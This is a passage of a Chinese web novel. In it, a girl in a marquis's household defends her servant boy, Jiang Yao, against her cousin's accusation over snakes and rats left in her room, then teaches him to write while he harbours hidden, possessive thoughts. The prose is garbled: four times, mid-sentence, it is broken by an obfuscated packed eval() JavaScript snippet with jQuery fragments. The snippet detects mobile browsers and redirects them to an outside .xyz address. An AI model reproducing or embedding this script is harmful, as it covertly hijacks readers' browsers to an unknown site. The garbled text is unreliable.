这嘴碎之人被惩,不是再寻常之事吗?
姬时语蹦蹦跳跳来到海棠苑,一进门便见大姐姬合英坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040563|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在舒氏身侧,而傅氏与姬如静便再一旁,四个人齐齐望向了她。
姬如静本窝在傅氏怀中抽泣,余光中瞥见姬时语那张欢欣小脸,她愤然抬眼。
“五妹,你还笑得出来!”
姬如静指着姬时语就道:“我这般模样,你就是最得意的那个,你是高兴了,那我呢?”
“二姐,我什么都没说啊。”
姬时语嘴角一扁,眉眼瞬间委屈起来。
姬合英蹙眉冷睨姬如静,“二妹,不要莫须有指责阿锁。”
舒氏看见姬时语完好无损,心中松了口气,她招了招手,慈爱道:“阿锁,到我这儿来。”
说句难听的,昨夜之事是不是姬时语而为舒氏并不在乎,不说以姬时语的小身板,抓蛇鼠可费劲,她还能丢到玉树阁?
即便真是姬时语做的,舒氏也只会觉得是姬如静哪处惹了她的小女儿,才让小姑娘如此作弄她。
姬时语乖巧走去,姬合英便让她挨着舒氏坐下。
舒氏摸着姬时语温热的手心,关切她可有喝了药再来,姬时语嘟了嘟嘴,说药太难喝她倒掉了。
可舒氏再一拧眉板脸,姬时语又吐舌改口说自己喝了的。
姬如静听着这面动静,大房母女温馨问候,哪里管过她的死活,心中憋屈更甚,她当即扑进傅氏怀里,哀泣大哭。
“娘,这事定是大房而为,府上仅有五妹与我起过争论,不是她又能是谁。”
傅氏叹气:“你确信是语姐儿所为吗?”
“大姐才回府,怎会无故找我的麻烦?可我和五妹有过嫌隙,还就是前几日。”
姬如静哽咽抽泣,话腔直言,她突然想起什么。
“还有那个叫江池生的,对,他是五妹的仆从,五妹自个儿做不了,她定然指使了江池生!”
提及江池生,大房母女三人俱是看了过来。
“大婶娘,你一定要为我做主啊……”
姬如静以为自己抓住了稻草,“我屋中又是老鼠,又是毒蛇的,忠义侯府哪还能安生?”
舒氏眸中闪过寒光,她摆头喊来林妈妈。
“去思芳院带江池生过来。”
“是,夫人。”林妈妈应。
姬时语眼瞅着林妈妈出院,眼里含着思虑。
姬如静眼下是咬死了她和江曜不放,只因前几天她才凌辱过江曜,自己又名目张大袒护他,与她作对。
这件事为谁主使尚且不论,姬如静决计不会让她和江曜好过。
江曜在忠义侯府顶着的只是仆从的身份,她并未将其真实身份告知母亲,本想父亲归府后明说,可父亲又因祖父病重不得离行。
而江曜身世敏感,其母乃罪臣之女,是罪奴流放之身,偏和当今楚王爷有了瓜葛。
楚王府已有嫡子,江曜这来路不明的身份能有人信吗?
比前世江曜认祖归宗的时日,她提早了近六年将他带回,会不会给他遭来杀身之祸?
此时真是后悔她莽撞,真是的,父亲为何还不归京啊!
姬时语好头疼。
思来想去,这时林妈妈已领着江曜回了海棠苑。
姬时语坐着,眸子在半空与江曜清冷的狐狸眼撞在了一起。
今日的江曜身穿她第一回送他的湖蓝色衣袍,这颜色衬得十三岁的少年眉宇清朗干净。
江曜狐狸眼微垂,脖上小痣明亮,沉默不语。
眼尾挑着幽幽神色,他轻睨姬时语。
少年面容透着三分迷茫,看得姬时语心都软了。
14. 第 14 章
大房二房众人皆在看江曜,他眼中却只有姬时语。
一刹的接触之后,江曜垂下头颅,只向舒氏行礼,“见过夫人。”
他这目中无人的态度彻底激怒了姬如静,她刚要发作,却被身侧母亲傅氏紧紧攥住了手,傅氏将她摁坐了回去。
舒氏笑着颔首,还不等她开口,姬时语笑嘻嘻插话道:“娘,你都把江池生赐给我了,就让他到我这儿来吧。”
“江池生,你去阿锁身边。”姬合英发话了。
江曜拄着拐杖一瘸一拐,慢慢挪动到了姬时语的座椅旁。
他一站稳,小姑娘便悄咪咪探手,莹白的指尖揪住了他的衣角。
“江池生。”她低低唤他。
江曜禁不住盯着她粉嫩的指甲盖,她像用了点力,指甲盖染了些许的白。
姬时语悄悄说:“过来靠着我,你往这面靠点儿,免得累着。”
又甜又软的关怀。
江曜受不住蛊惑,到底还是应了她的话。
脚步轻微挪动,随着小姑娘的拉扯,轻缓地借力靠在了木椅把手之上。
无人留意两人的小动作。
姬如静哽咽而言,“大婶娘,您也该听听我的诉苦了吧?”
今日的姬如静并未环佩叮当,发髻那总要插七八根金簪的架势也无。
许是昨夜心有余悸,她无暇顾及这些金银首饰。
傅氏闻声重重叹气,她睇向舒氏的目光隐有冷意。
“大嫂,人既已到齐,是时候谈谈昨夜静儿屋中那一出祸事了。”
“今早上静姐儿说自己屋里平白多了蛇鼠,我便吩咐杨嬷嬷去了一趟玉树阁问话。昨夜丫鬟们皆入睡休息,无人看得、听得有人入了玉树阁的院子。”
舒氏眼眸一抬,当家主母的气势一起,连傅氏都只能垂眸,舒氏冷哼:“静姐儿却说阿锁入了玉树阁,我想知道我们家阿锁是如何抓了老鼠毒蛇,又钻进玉树阁的?”
姬如静的话被死死卡在了嗓子眼,她双眼红红,仍在惊魂不定。
抬眸时,直对姬时语那双猫瞳。
姬时语白嫩脸蛋一歪头,眼底蕴着明媚笑意,宛如一只娇俏的小猫儿。
可姬如静只觉得姬时语好似在嘲弄于她。
笑她竟将自己弄得这样狼狈。
姬如静手指都掐入了掌心。
她还真是看姬时语那张脸不爽极了,目光若如刀,此刻姬时语的脸已被她划烂。
舒氏提声喊道:“萍柳、萍亭,林妈妈。”
“奴婢们在。”
萍柳萍亭先行跪下,林妈妈跟在后,三人等着发问。
伺候姬时语的是大丫鬟萍柳、萍亭,还有姬时语的乳母林妈妈,她们三人每日昼夜守在韶华院。
舒氏问:“昨夜五小姐可有睡醒过,起了夜?”
“并未。”
萍亭回了话,“小姐熟睡总好踢了被子,因此奴婢半夜起过三次身,是为小姐掖被,小姐那时睡得很香。”
姬时语无声嘟嘴,“萍亭怎么连我这事儿都说出来。”
江曜默不作声勾了唇角。
小姑娘半夜睡觉不老实还会踢被子。
他曾半夜去过一回韶华院,亲眼见到过她熟睡之下几根白白的脚趾裸露在外,萍亭之言实属真话。
姬时语偷摸瞥江曜,少年莫名的好心情看得她不悦,她气鼓鼓瞪他。
那只小手又揪住了他的衣角,拽了拽,轻轻哼声落入了江曜的耳朵。
江曜即刻敛起了笑。
林妈妈亦是道:“老奴性命担保,小姐昨夜从未出过韶华院一步。”
舒氏颔首,轻飘飘看姬如静,道:“此事与阿锁无关。”
“大婶娘!”
姬如静喊叫出声,她口吻尖刻。
“是,五妹从未踏出韶华院,可她本人无须亲力而为,这件事她全然可以指使旁人出手。对,我说的就是江池生。”
姬时语攥着江曜衣角的手一顿,那双柳叶眉便蹙起。
“江池生是五妹从外头带入府的,他入府不过半个月,我们谁清楚他的底细、品性?此事谁又不能说是他做的?”
姬如静声嘶力竭,“头几日我曾训斥过江池生几句,他对我心生怨恨不无可能。”
不论如何,这件事她定要揪着江池生不放。
姬如静早想明白了,大房之中姬时语她动不得,舒氏和姬合英一个赛一个宠她,会力保姬时语到底。
而江池生不一样,他是外头捡回来的狗,姬时语偏袒于他,可舒氏不一定。
姬如静只知道若有朝一日有人残害她,那个人定和姬时语有关。
她看姬时语不对付,姬时语同样。
思及此,姬如静红着眼望向姬时语和江池生,“今日我要拿江池生是问!”
“二姐,你还知道你曾训斥过江池生?”
姬时语真纳闷了,姬如静哪来的脸皮恶人先告状的。
“你那日能叫训斥吗?言语如乡间粗野的妇人,辱骂江池生猪狗不如,伤他以肤,你根本就是在恃强凌弱。”
“他对我所做之事不残忍?半夜老鼠和毒蛇在我床榻,那毒蛇但凡活着,我还能活命?”
江曜狐狸眼轻佻一记,他眼底阴骘之色闪动,平静的脸不动声色,面对姬如静的指责自始至终一字不吭。
残忍?
哪里残忍?
毒蛇早被他撕碎掐死了,一只死成两半的毒蛇丢在屋里,她怕成这样。
没杀了她,他已经足够仁慈了。
“事情原委都未弄清,你莫要泼那莫须有的脏水在江池生身上。”
姬时语仍旧明目张胆的袒护,她又拽了下江曜的衣角,这回很是用力,引得众人皆看入了眼。
她仰起头,认真问道:“是你做的吗?”
江曜呆愣一下,狐狸眼暗沉,他迷茫起来。
他道:“不是。”
少年的嘴角稍稍一折,姬时语留心他微抿的弧度,她眸子明亮,流光拂过。
顷刻间小姑娘娇笑露齿,应他:“好。”
随即只听姬时语和舒氏说道:“娘,这事不是我做的,亦非江池生所为,与我们无关。”
姬如静尖声喊道:“不是你们还能是谁?”
“这二姐要问自己的院中人了,说不准你平日没少欺负丫鬟下人,被人记恨在心了呢。”姬时语道。
“我要你们给我个解释。”
姬如静死咬她不放。
“二姐要什么解释?”
姬时语笑得天真无邪,“我的解释就是不是我的做,也不是他做的,究竟谁人为之,老天爷知晓,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044461|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你去问老天吧。”
姬如静快被姬时语气死了。
傅氏心头恼怒,可又不能随意发作,她便问舒氏,“大嫂的意思是?”
“此事无头无尾的,抓不着真凶。二弟妹应也看见了,阿锁言之有理,与她们应无关系。”
舒氏一锤定音。
傅氏窝火,还真就只能这样了。
忠义侯府由舒氏为主母,自然是大房说了算,即便大房都欺负到二房头上了,她们也奈何不了。
姬如静眼尾泛泪花,抓着傅氏哭道:“娘……”
傅氏吐出一口浊气,“大嫂,还是查查吧,就先查静儿手下那些个人,看哪个是手脚不干净的。”
说完这句话,她眼眸锋利几分,直迫舒氏面门。
“二弟妹放宽心。”
舒氏并不畏惧,她直视回去,欣然笑道:“我会命人去查。”
……
事已了,姬时语却并未径直回韶华院,趁着长姐姬合英一个不留神,她撒腿溜去了思芳院。
在院中等候了近一刻钟,江曜才步履极慢地回了院。
一抬头,乍眼便是小姑娘从树下欢欣雀跃迎面跑来。
她小脸红扑扑的,染为粉面,今日未系铃铛,头顶丸子髻留有半拉的红绳轻扬晃动。
“你怎么来了?”
江曜清了清嗓子,觉着有些口渴。
姬时语哼道:“还不是担心你呀。”
不必多说,都是姬如静有心刁难江曜,姬时语真心担忧她会没完没了。
在姬时语心中,她只以为江曜之于她便是责任。
是她带了江曜入忠义侯府,在江曜回归正途之前,她须得护他平安。
“二姐她怕是记恨上你我了,我怕她之后还要为难你。”
姬时语小心说辞,不敢遗漏她的小心思,“我会告知我娘,往后让人多看护于你,你也放机灵点,多多躲着我二姐,知道吗?”
她是打算将江曜身份转达舒氏,已好换江曜在忠义侯府过的舒坦些。
“说的我像个小耗子,东躲西藏。”
“哎呀,甭管好招赖招,三十六计,走为上策嘛!”
姬时语朝江曜活灵活现比了比食指,她双目灵动,江曜直勾勾看她,问道:“你还知道三十六计?”
“是啊,我大姐总好让我读书,什么兵法、武器册我都看了不少。”
“喔。”
“对啦,江池生,你识字吗?”
江曜顿了下,他咬住舌尖,到嘴的话锋变了味,“不识。”
姬时语双手合起,便那么一拍,“你不识字,我来教你啊!”
思来想去,未来的楚小王爷怎能不识字呢?
想到这一点,教导江曜识字的念头更是如雨后笋尖,涨势惊人的冒了头。
“你要教我识字读书?”
“识字不难,以你这么聪慧定能短短时日都学会。”
姬时语面上再真挚无比,她颔首道:“往后我每日都来你这儿,我们一起读书写字。”
她想要他什么都学会,待到成年及冠,做那名满京城最耀目的贵公子。
便也不负她这般费心捡他回府,精心照料。
江曜喉间溢出一缕轻笑,眸中燃起鬼火,“一起读书啊……那劳烦小姐教我了。”
15. 第 15 章
在海棠苑死缠烂打,姬如静未讨得一分好,反而还见多了姬时语灿烂如莳花的娇颜,被她那刺目的嘲笑明晃晃伤了自尊。
不光如此,她上回欺负姬时语,姬合英没忘记罚她悔过。
今日一提舒氏便让她呆在玉树阁,这一个月闭门思过。
姬如静回屋便抱头痛哭,傅氏守在她身后,听见亲女闷哭,她心如刀割。
“娘,就是姬时语做的,我不会认错的.府上唯有我俩八字不合,上回我惩戒江池生,亦是她偏生阻拦,连个下人都不让我动手。”
姬如静窝在傅氏怀中,眼尾坠着泪,“除了她,我根本想不出第二人。”
“娘知道你受委屈了。”
傅氏拍着姬如静的后背,眼眸沉沉。
姬如静说的不无道理。
忠义侯府共有三房,大房二房皆在京中侯府,与姬老太爷、侯爷同住。
而老夫人过不惯京中的日子,早年便吵着要搬去老宅,后老太爷做主,让三房随老夫人回兰陵老宅。
大房的两位小姐便是姬合英与姬时语,二房仅有姬如静一个闺女,三房的两个姑娘皆在兰陵,离京甚远。
与姬如静有过龃龉的,再怎么看,只有姬时语。
连傅氏都想不出还能有谁。
虽说姬如静还提了江池生的名字,可那外头捡回来的小乞儿,傅氏连正眼也没给一个。
都道江池生瘸了一条腿,又聋了一只耳朵。
一个残废能绕开玉树阁这么多下人,悄无声息潜入姬如静屋中丢毒蛇老鼠?
傅氏不信。
正如舒氏所言,整件事没头没尾的,连一处作证之物都寻不到,拿什么指摘姬时语的过错?
姬如静哭着喊:“娘,她这样欺辱我,我不会放过她的。”
“母亲,妹妹。”
清朗少年跨入屋中,姬云暮一席青衫头戴布巾,端的是一派清风明月读书郎的模样,像拢着屋外的日头尽数入内。
“哥!”
姬如静一把扑进姬云暮怀中。
姬云暮向来疼爱他的胞妹,抚摸着她的头,他抬起眼问傅氏,“谁欺负静儿了,将她惹得哭成这样?”
“哥,还能是谁?你又不是不知道,五妹偏和我过不去,凡事都要呛我几句。”
“五妹啊,五妹小性子多,你身为姐姐还和小孩子计较呢?”
“她可是往我屋中丢了老鼠和毒蛇。”
姬如静泪眼朦胧,她诉苦姬时语的恶行。
姬云暮听得发楞,简直不敢相信这会是雪白团子姬时语能干出来的事。
姬云暮与大房走的算近,府上仅有他这一位少爷,他自小便心知有朝一日,忠义侯世子之位会落在他的头上。
而大房两位小姐迟早会出嫁离府,他又能与她们有何冲突呢?
长姐姬合英乃嫡长女,大姬云暮半岁,英姿飒爽,姬云暮十足钦佩长姐一介女儿身,却承了最苦的武。
他身为儿子,吃不得习武的苦,只能读书。
姬云暮深信从文,亦是忠义侯府可为之道。
而姬时语是最小的妹妹,姬云暮只觉得她生得冰雪可爱,因有病气,被大婶娘舒氏看得紧。
姬云暮偶时回府,不忘给姬时语带点小零嘴,见她双眼发馋,很是讨人喜欢。
待将事情原委说明白,姬云暮如遭雷劈。
姬如静望见姬云暮深受打击,心中却畅快。
她这个胞兄总待大房的姐妹真心,殊不知人家并不稀罕。
要论真情,还得是她这个同胞的亲生妹妹。
“哥哥现如今看穿有的人了吗?”
姬云暮眼中浮现深究,“大房真这般无情?”
“眼看无法承爵,日后忠义侯之位会落在二房头上,不光是我,连哥哥也会是大房的眼中钉肉中刺。”
傅氏旋即道:“昨夜幸好那毒蛇已死,不若你妹妹不得全好的站在这。”
姬云暮闻言手掌攥起,双臂颤抖。
……
姬时语苦恼地抱着下巴端坐在思芳院中,一张莹白的脸皱成一团。
她已是下定决心,要将江曜真实身份告知舒氏,已好换得他在忠义侯府的厚待。
可就是那么稍一试探。
“娘,你说江池生模样那般精致,可会是什么皇权贵胄名门之后啊?”
“哪有什么稀奇古怪的身份之谜?”
舒氏笑眯起眼,她抚着姬时语的脑袋,说着:“阿锁可是话本子看多了,真以为随处捡来的男童便是皇室流落在外的天皇贵胄?那又不是地里的大白菜。”
得,舒氏全然不信。
此事不了了之。
不过舒氏还是应了姬时语的求情,准许安插多位侍卫巡视思芳院,护卫江池生的安危。
姬时语还说她想同江池生一起读书。
舒氏不懂她为何要缠着江池生,但此前姬时语很是厌烦读书听课,若是有江池生在,她能静下心看得进去书,这也可谓是好事一桩。
得了舒氏的准许,姬时语进出思芳院那叫一个昂首挺胸。
萍亭萍柳帮着收拢笔墨纸张,又从韶华院搬来四五本杂书,里头还有姬时语挑选的三字经、人字说。
少年梳洗换罢衣物之后,方推门允姬时语入内。
姬时语也不拿自己是外人,径直步入。
跟在她之后的萍柳萍亭将纸张在书桌之上铺好。
江曜轻睨一眼,三字经三个大字赫然呈现,他微怔。
这怕是三岁儿童开智才会读的书。
“江池生,来坐下。”
姬时语招招手,她已将木椅挪近到跟前。
为让江曜坐的舒坦些,她特意命萍柳取了两只软垫,还抬了一只方杌放置于他的位子,以好垫着他那只伤腿。
“你不必……这样。”
江曜心口似被某种意味填满,无措顿在了他有些阴冷的面庞。
他知道她是为他好,可这也太好了。
姬时语没想那么多,她向来随性,想做什么便做了,因而她先坐下,又朝愣着的江曜招手。
“你做什么愣在那?快来,我要教你写字了。”
小姑娘摆的姿态认真,江曜不好辜负他的小夫子,只能坐了过去。
书桌不大,座椅并排挨着,姬时语手握一只狼毫,萍亭为她研墨,她沾染上墨水,头颅靠了过来,正正好碰到了他的。
江曜猛地朝后一退,后腰又被座椅圈住,碍了他的动作。
“怎么了?”
姬时语眼眸清亮,她的毛笔在宣纸之上无意落下了一点。
她笑容
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048405|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绚烂,问他:“我们先来写名字,好不好?”
江曜端坐回去,脑袋与姬时语的挨在一块。
两人只隔了咫尺,姬时语落笔,写了一撇,他的目光便跟了过去。
“那我先写你的名字,江——池生。”
第二个点还未落下,江曜沉声开口,“我想学你的名字。”
少年清冷的嗓音如同玉石落盘,有些好听,姬时语不自觉就:“啊?”
“我想写你的名字,小姐,好吗?”
江曜又软了一分,三分恳求。
姬时语唇角一弯,莞尔道:“当然好啊,你是我的人,我肯定会教你怎么写我的名字。来,我写给你看。”
江曜目不转睛,直直看她的小手一笔一划在纸上写下三个字。
姬时语。
萍亭在旁望着桌案两个小脑袋一左一右,这里动动,那里动动,她经不住笑了。
自家小姐捡回来的少年,想先学小姐的名讳,也是想日后先报小姐的恩情吧?
是个心怀感念的孩子呢。
姬时语探出一根食指,在宣纸划过,她每走过一个字,便念道:“姬时语。”
江曜反道:“你的乳名呢?”
“啊?你还好奇我的乳名啊。”
“我听夫人和大小姐都管你喊乳名。”
“嘿嘿,那是我娘给我起的。”
姬时语便执笔又写下两个字,名讳之边,加了小字,“阿锁。”
江曜恍然。
阿锁啊。
原来是这个字。
姬时语毫无察觉,她写完后便将笔递给江曜,又把宣纸铺过去,体贴万分道:“来,你写个字看看。”
“我……”
少年的狐狸眼微垂,小心的眼神瞥了一眼姬时语。
“写嘛,不要害怕,识字就得先落笔,写一个字顶的上读十遍。”
姬时语用下巴点了纸,“光用眼睛看可是记不住的。”
江曜随即握笔,他的姿势怪异,像初生的孩童。
方才看过姬时语执笔,他学了个不明不白,几根手指不知道放哪才好。
倏忽的,姬时语倾身靠了过来,她的手握住了他的。
少年落着小痣的侧颜刚巧在这面,霎时抬头,凝在了她一开一合的樱桃小口。
“是这样啦。”
“这样?”少年问。
姬时语给他掰正过来,刚想收手,江曜又如拿不会笔一般,掌心随意摊开了。
无奈之下她又包住他的手指,一根、一根地放好。
江曜便那么注视着她,看她那张小脸慢慢浮起不耐,秀眉一拧,再绷不住拍了下他手背。
“江池生,你好笨呐!”
“对不住,小姐,我从未学过识字。你也知道,我,从前都吃不饱饭的,这还是第一回有人体恤我……”
眼看江曜双目蕴起落寞,姬时语难为情起来,忙打断他,“好了,我不说你笨了,你一遍学不会,我就教你十遍、百遍,直到你学会,好不好?”
江曜得逞,眼底笑意藏起。
他偷摸将手背反靠过去,就这么轻轻贴在了姬时语柔软的手掌心。
肌肤相触,他眷恋这种感觉,应了她。
“嗯。”
他想,阿锁真好啊。
16. 第 16 章
在姬时语第二十八遍教习,几乎耐心磨了个干净的时候,江曜终是安生地握住了笔。
姬时语捧着下巴看他写字,脸蛋在不知不觉间揉出了红痕,那是被眼前小祖宗折磨气的。
江曜歪歪扭扭写下来“阿锁”,两个字,字迹不堪入目,百拙千丑,还写的是她的乳名,丑得她认都不敢认。
要姬时语说,她抱一只鸡来,撒一把米,那也比江曜写得好。
偏生江曜无措地瞄她脸色,“小姐,我写的‘阿锁’很难看?”
狐狸眼尾微微垂下,一小片影子便那么映在他如玉的半面脸,这样一副神情之下,姬时语说不出一句训斥之言。
少年垂着头,乌发微亮,姬时语探出小手,手掌安抚似的在少年头顶抚摸又拍拍,只是一刹,手下的头颅僵住了。
姬时语暗叹少年毛茸茸的脑袋还挺好摸,她笑眯眯收起手,见他望来,她含笑道:“每逢我做的不好,我娘总会摸我的头,同我说阿锁已是很好的姑娘啦,所以我想同你说,江池生,你也很好。”
江曜捏着笔杆的指尖硬得发白,他在极力克制着什么。
“当然啦,你若是做的更好,那我会比谁都要高兴呢。”
“是写‘阿锁’吗?”
江曜那双狐狸眼折射出窗棂之间透来的微光,像是在笑,姬时语没有留心他,她还在歪着头看江曜丑不拉几的字,苦恼万分。
“不如我们商量下,换个字,别写‘阿锁’了?”
光凭他这两个字写的这般丑,姬时语真有一股江曜在故意磋磨她的错觉。
便是就只写“阿锁”,只写她。
“可我还没学会怎么写‘阿锁’,怎么可以学别的?”
江曜声音闷闷的,阴沉的像不乐意,“小姐说过,温故而知新,一个字没学会便去下一个,翌日又会忘掉。”
姬时语听他说:“我想学会写小姐的名字。”
拗不过他,姬时语只能应:“好嘛好嘛,那你写,我的‘姬时语’和‘阿锁’,还有你的江池生。”
“江池生。”
姬时语自顾自地在宣纸之上自己名讳旁,写下江曜如今的本名。
他不知自己真名江曜,日后他总会学会。
江曜亲眼见着纸上两人名讳并在一处,他认认真真的在其下,顺着写下一模一样的字。
那就是,姬时语、阿锁,和江池生。
这种感觉很奇妙,就像久逢甘霖,他似乎更饥渴难耐了。
有归属之感并不好,他会由衷地渴望索取渴求,如若最后得不到所想要的,连他也不知自己会是何手段,是摧毁一切还是杀了所有。
小姐,你真的要义无反顾地待我好吗?
那样的后果,你担得起吗?
江曜阴郁地笑了。
偏在这时姬时语小脑袋探了过来,她唇边的笑还是那么甜软,比春日的海棠还芳香,“你写的真比方才好了很多啊,江池生,你真棒耶!”
江曜的狐狸眼沉沉压住波涛翻动的潮水,他隐去心底的阴暗,换上天真无邪的笑容。
可是他好像,已经不想给她任何后悔的机会了。
他笑:“是吗?”
“你看啊,第一回写,我都认不出是‘阿锁’两个字。”
姬时语鼓着脸控诉,她坚决不承认那是她的名字,丢脸,太丢脸了,“江池生,要不是我知晓你不识字,我还以为是你要捉弄我,不是我说,写的太差劲了!”
“是吗?”
只是不悦之后,姬时语遂又满意点头,“这后头写的就好多了,我认可你啦,往后都要这样好好练字。”
“是小姐教的好。”少年乖乖的。
“那是,你也不看是谁家的小姐,我可是忠义侯府最聪明伶俐、颖悟绝伦、七窍玲珑的阿锁小姐!”姬时语翘翘鼻头。
“是,阿锁小姐。”
江曜如此乖巧地喊她“阿锁小姐”,倒给姬时语惹得脸皮子一红,她咳咳两声,“说得怪让人不好意思的。”
“小姐自夸可以,却不让我夸你。”
“那,那也不是啦,算了,你想夸就夸吧。”姬时语羞恼过后又指宣纸,“不过,再那之前,先练字,照着这个写十遍。你若写的好,我就给你……”
“给什么?”
姬时语“唔”道:“给你奖赏!”
江曜应了一声,复而落笔写字。
姬时语叽里呱啦说了不少话,嗓子干燥,她刚想喊萍亭倒水,萍柳在这时端了药来,她道:“小姐,到了吃药的时候了。”
“天呐,我的好萍柳,来了思芳院你还记着要拿药来。”姬时语欲哭无泪,“我能不喝吗?”
萍柳笑意很深,“不能。”
萍亭接话道:“江小公子也要吃药。”
林大夫为江池生开了新方子,因姬时语来寻江曜读书,舒氏索性命下人们将两人的药碗一并拿去,命萍亭督促姬时语遵循医嘱,一口药都不能吐出来。
乌黑的药汁便端在眼前,姬时语作愁眉苦脸状,她真是打心眼讨厌吃药。
谁知身侧的江曜端起碗,眼睛都不眨,一饮而尽。
药碗空空,已被喝完。
“你不觉得苦吗?”姬时语惊呆了。
“苦。”
少年狐狸眼上掀,他面庞平淡,好像苦甜与否,对他皆是无干无系。
他看出小姑娘的烦闷,又道:“还好。”
姬时语深吸了一口气,拧着鼻子便吃药。
苦涩药汁算上前世今生她吃了得有二十来年,天杀的身子,何时能好全让她彻底摆脱。
喝完药,姬时语再憋不住,吐出苦舌头喊萍柳,“啊,我的蜜饯呢,我要死啦!萍柳,快救我……”
一颗蜜饯瞬时入了姬时语的嘴,满满甜味盖住苦涩,姬时语好像又活了。
侧目,望到少年盯着她的唇,姬时语以为他好奇蜜饯的滋味,因而取了一颗,抬起手塞入了他的嘴。
突如其来接了一颗蜜饯,江曜狐狸眼瞪大。
好甜。
他不太喜欢。
可是这是阿锁喂给他的,又好像没那么难以接受。
“好吃吗?”姬时语甜滋滋问。
可少年却说:“不好吃。”
“喂!”
少年背过身去,“还要写八遍。”
江曜头也不抬,执笔练字,可没把姬时语气笑了。
“那你说药苦不?”
“还好。”
“蜜饯不好吃?”
“嗯。”
姬时语才是不爽了,蜜饯怎么会不好吃呢,甜甜的,嗦着就香,药汁才是呸呸,天底下哪有比药汁更难吃的东西?
江曜这傻孩子不会脑子烧坏了吧!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052317|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那头江曜收了笔,推了推宣纸,他写好了十遍名字,整整齐齐的摆在下方。
可姬时语小脸紧皱,一双水眸不善地凝着他。
江曜又笑开了,“小姐,我可以再吃一颗蜜饯吗?”
姬时语问:“你不是说不好吃吗?”
“突然又想吃了。”
“喏,那给你啦。”
果然,姬时语脸上又绽起了笑,她取来一颗便要递给江曜,那少年只是眨巴着狐狸眼笑望她,脖上的小痣随着脖颈弯折,晃了一刹。
他的眼睛说,我不是很棒吗?
好嘛,乖孩子是要给点奖赏的。
姬时语一把将蜜饯塞到了他嘴里。
江曜满意了。
整一上午,光是写两人的名字江曜便写了三十来遍,后头姬时语叫了停,她起意教新的字,说一个写一个,直到宣纸写的满满当当,再写不下。
江曜跟着她学,他上手很快,不多时便将字都认清,而其中亦有认不全的。
他将“身”字多写了一横,“肺”字一点连成竖线,“周”字里的土写成了士,燕字上头的甘写作草。
此情此景,姬时语感同身受夫子每每教她,几次错字之后,气的想打不能打的冲动。
待到午时一刻,上桌用午膳之时,姬时语伸了个大懒腰,“不写了不写了,一会儿我们读书去!”
江曜没来用饭,他仍旧趴着写字。
姬时语独自吃了一小碗,她又摸回书桌,嘟囔问他:“你不饿吗?”
少年没作声,姬时语想着他沉心练字也好。
打了个哈欠,她困倦的不行,身子软趴趴的,在内室随处寻了个软榻便窝了下去。
书案边的香炉烧尽一盏香,江曜终于想起来自己还未用饭。
刚起身,便听闻内室清浅的呼吸声,萍柳萍亭皆后在外室,屋中仅有可能是姬时语。
江曜拂动珠帘,一瘸一拐入了内,顿时见到小姑娘在他床边的软榻缩成一团,像只小猫儿。
她怕冷,拖了半拉被褥过来,眼下那床玉兰花丝被已是落地。
姬时语睡得很香,呼吸绵长,小脸莹白,些许光亮映在她头顶,柔软的脸蛋似乎能瞧见细小的绒毛轻拂。
江曜走去拾起被子,又盖在了她身上。
姬时语身子微动,睡梦中她想翻身,可嘴里巴咂两下,一双手软乎乎地抱住了脸。
怕她呼吸噎住,江曜抬手,两根手指捏住她的发丝,缓慢拨到了脑后,指尖触碰肌肤的刹那。
他只有一个念头。
好软。
还真是忠义侯府娇宠的小姑娘。
江曜支起断腿,单手扶着木榻沿慢慢坐了下来,他的一根食指顺着点在了她的额心,划到了鼻头。
姬时语觉着痒,反手抱住了鼻子,不给江曜碰触。
江曜收了手,将头靠了过来,轻轻挨着姬时语的肚腹,隔着丝被,两人不得接触。
他一点也不喜欢笑,可看见她,又忍不住笑。
就着这个姿势,他看她。
先前染着笑的狐狸眼阴冷起来,黑得怖人。
陪着姬时语耍这场主仆之戏,也怪有意思的,他想。
看着看着,江曜眼皮子却好像越来越沉了。
江曜阖了眼。
无声的,他唤了一声。
阿锁。
17. 第 17 章
